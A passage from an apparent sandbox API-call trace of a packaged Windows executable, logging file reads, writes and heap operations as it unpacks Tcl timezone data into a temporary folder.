"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\san_juan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.485] GetFileType (hFile=0x10c) returned 0x1 [0038.485] htonl (hostlong=0x13080000) returned 0x813 [0038.485] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.486] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x813, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x813, lpOverlapped=0x0) returned 1 [0038.487] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.487] CloseHandle (hObject=0x10c) returned 1 [0038.488] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.488] htonl (hostlong=0x40000000) returned 0x40 [0038.488] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.488] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.488] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.488] GetFileType (hFile=0x10c) returned 0x1 [0038.488] htonl (hostlong=0x32935800) returned 0x589332 [0038.488] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d4332, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.488] htonl (hostlong=0x18020000) returned 0x218 [0038.488] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x218) returned 0x550600 [0038.488] htonl (hostlong=0x18020000) returned 0x218 [0038.488] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.488] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.488] htonl (hostlong=0x4080000) returned 0x804 [0038.488] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x804) returned 0x55e278 [0038.488] htonl (hostlong=0x18020000) returned 0x218 [0038.488] htonl (hostlong=0x4080000) returned 0x804 [0038.488] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.488] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.488] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.488] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.488] CloseHandle (hObject=0x10c) returned 1 [0038.489] GetLastError () returned 0x0 [0038.489] SetLastError (dwErrCode=0x0) [0038.489] GetLastError () returned 0x0 [0038.489] SetLastError (dwErrCode=0x0) [0038.489] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.489] GetFileType (hFile=0x10c) returned 0x1 [0038.489] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.489] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.489] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.489] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.489] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.489] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.489] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.489] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.489] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.489] CloseHandle (hObject=0x10c) returned 1 [0038.489] GetLastError () returned 0x0 [0038.489] SetLastError (dwErrCode=0x0) [0038.489] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.489] GetFileType (hFile=0x10c) returned 0x1 [0038.489] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.489] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.490] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.490] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.490] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.490] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.490] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.490] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.490] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.490] CloseHandle (hObject=0x10c) returned 1 [0038.490] GetLastError () returned 0x0 [0038.490] SetLastError (dwErrCode=0x0) [0038.490] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.490] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.490] GetFileType (hFile=0x10c) returned 0x1 [0038.490] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.490] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.490] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.490] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.490] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.490] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.490] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.490] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.490] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.490] CloseHandle (hObject=0x10c) returned 1 [0038.490] GetLastError () returned 0x0 [0038.491] SetLastError (dwErrCode=0x0) [0038.491] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.491] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.491] GetFileType (hFile=0x10c) returned 0x1 [0038.491] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.491] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.491] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.491] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.491] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.491] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.491] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.491] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.491] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.491] CloseHandle (hObject=0x10c) returned 1 [0038.491] GetLastError () returned 0x0 [0038.491] SetLastError (dwErrCode=0x0) [0038.491] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Luis") returned 83 [0038.491] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Luis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\san_luis"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.491] GetLastError () returned 0x2 [0038.491] SetLastError (dwErrCode=0x2) [0038.491] GetLastError () returned 0x2 [0038.491] SetLastError (dwErrCode=0x2) [0038.491] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Luis", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Luis", lpFilePart=0x0) returned 0x52 [0038.491] GetLastError () returned 0x2 [0038.491] SetLastError (dwErrCode=0x2) [0038.491] GetLastError () returned 0x2 [0038.492] SetLastError (dwErrCode=0x2) [0038.492] GetLastError () returned 0x2 [0038.492] SetLastError (dwErrCode=0x2) [0038.492] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Luis") returned 83 [0038.492] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.492] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\San_Luis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\san_luis"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.492] GetFileType (hFile=0x10c) returned 0x1 [0038.492] htonl (hostlong=0x4080000) returned 0x804 [0038.492] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.492] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x804, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x804, lpOverlapped=0x0) returned 1 [0038.493] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.493] CloseHandle (hObject=0x10c) returned 1 [0038.494] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.494] htonl (hostlong=0x40000000) returned 0x40 [0038.494] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.494] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.494] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.494] GetFileType (hFile=0x10c) returned 0x1 [0038.494] htonl (hostlong=0x4a955800) returned 0x58954a [0038.494] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d454a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.494] htonl (hostlong=0x16020000) returned 0x216 [0038.494] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x216) returned 0x550600 [0038.494] htonl (hostlong=0x16020000) returned 0x216 [0038.494] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.495] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.495] htonl (hostlong=0x13080000) returned 0x813 [0038.495] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x813) returned 0x55e278 [0038.495] htonl (hostlong=0x16020000) returned 0x216 [0038.495] htonl (hostlong=0x13080000) returned 0x813 [0038.495] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.495] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.495] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.495] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.495] CloseHandle (hObject=0x10c) returned 1 [0038.495] GetLastError () returned 0x0 [0038.495] SetLastError (dwErrCode=0x0) [0038.495] GetLastError () returned 0x0 [0038.495] SetLastError (dwErrCode=0x0) [0038.495] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.495] GetFileType (hFile=0x10c) returned 0x1 [0038.495] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.495] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.495] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.495] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.495] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.495] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.495] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.495] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.495] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.495] CloseHandle (hObject=0x10c) returned 1 [0038.496] GetLastError () returned 0x0 [0038.496] SetLastError (dwErrCode=0x0) [0038.496] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.496] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.496] GetFileType (hFile=0x10c) returned 0x1 [0038.496] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.496] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.496] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.496] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.496] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.496] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.496] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.496] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.496] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.496] CloseHandle (hObject=0x10c) returned 1 [0038.496] GetLastError () returned 0x0 [0038.496] SetLastError (dwErrCode=0x0) [0038.496] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.496] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.496] GetFileType (hFile=0x10c) returned 0x1 [0038.496] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.496] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.497] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.497] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.497] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.497] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.497] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.497] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.497] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.497] CloseHandle (hObject=0x10c) returned 1 [0038.497] GetLastError () returned 0x0 [0038.497] SetLastError (dwErrCode=0x0) [0038.497] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.497] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.497] GetFileType (hFile=0x10c) returned 0x1 [0038.497] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.497] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.497] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.497] 